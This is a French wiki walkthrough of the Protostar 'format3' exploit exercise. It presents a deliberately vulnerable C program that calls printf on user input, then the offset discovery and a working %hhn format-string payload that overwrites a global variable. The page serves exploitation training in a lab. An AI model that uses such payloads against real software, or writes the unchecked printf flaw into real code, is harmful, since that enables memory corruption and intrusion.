Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:format3

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

exploit_exercises_protostar:format3 [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
 +====== Format 3 ======
 +
 +<code C>
 +#include <stdlib.h>
 +#include <unistd.h>
 +#include <stdio.h>
 +#include <string.h>
 +
 +int target;
 +
 +void printbuffer(char *string)
 +{
 + printf(string);
 +}
 +
 +void vuln()
 +{
 + char buffer[512];
 +
 + fgets(buffer, sizeof(buffer), stdin);
 +
 + printbuffer(buffer);
 +
 + if(target == 0x01025544) {
 + printf("you have modified the target :)\n");
 + } else {
 + printf("target is %08x :(\n", target);
 + }
 +}
 +
 +int main(int argc, char **argv)
 +{
 + vuln();
 +}
 +</code>
 +
 +Même niveau que le précédent, sauf que cette fois ci nous devons inscrire ''0x01025544'' dans ''target''. 
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ nm ./format3 | grep target
 +080496f4 B target
 +user@protostar:/opt/protostar/bin$ for i in {1..200}; do if echo BBBB%$i\$x | ./format3 | grep 4242; then echo $i; fi; done
 +BBBB42424242
 +12
 +user@protostar:/opt/protostar/bin$ python -c 'print "BBBB%12$x"' | ./format3
 +BBBB42424242
 +target is 00000000 :(
 +</code>
 +
 +Comme je suis un gros flemmard, j'ai codé un outil qui permet de créer des payload pour format string en une ligne de commande. Vous pouvez le télécharger [[https://github.com/thetlk/FormatStringPayloadMaker|ici]].
 +
 +<code>
 +tlk-laptop:FormatString tlk$ ./FormatString.py 
 +usage: FormatString.py [-h] [--aprint APRINT] [--nformater NFORMATER]
 +                       format_number addr_to_o addr_to_w
 +FormatString.py: error: too few arguments
 +tlk-laptop:FormatString tlk$ ./FormatString.py 12 080496f4 01025544
 +Your payload : 
 +\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$hhn%17c%13$hhn%173c%14$hhn%255c%15$hhn
 +</code>
 +
 +Parfait, on a plus qu'à tester :-)
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ python -c 'print "\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08%52c%12$hhn%17c%13$hhn%173c%14$hhn%255c%15$hhn"' | ./format3
 +????                                                                                                                                                                                                                                                ?                                                                                                                                                                                                                                                              
 +you have modified the target :)
 +</code>
  
exploit_exercises_protostar/format3.txt · Dernière modification: 2017/04/09 15:33 (modification externe)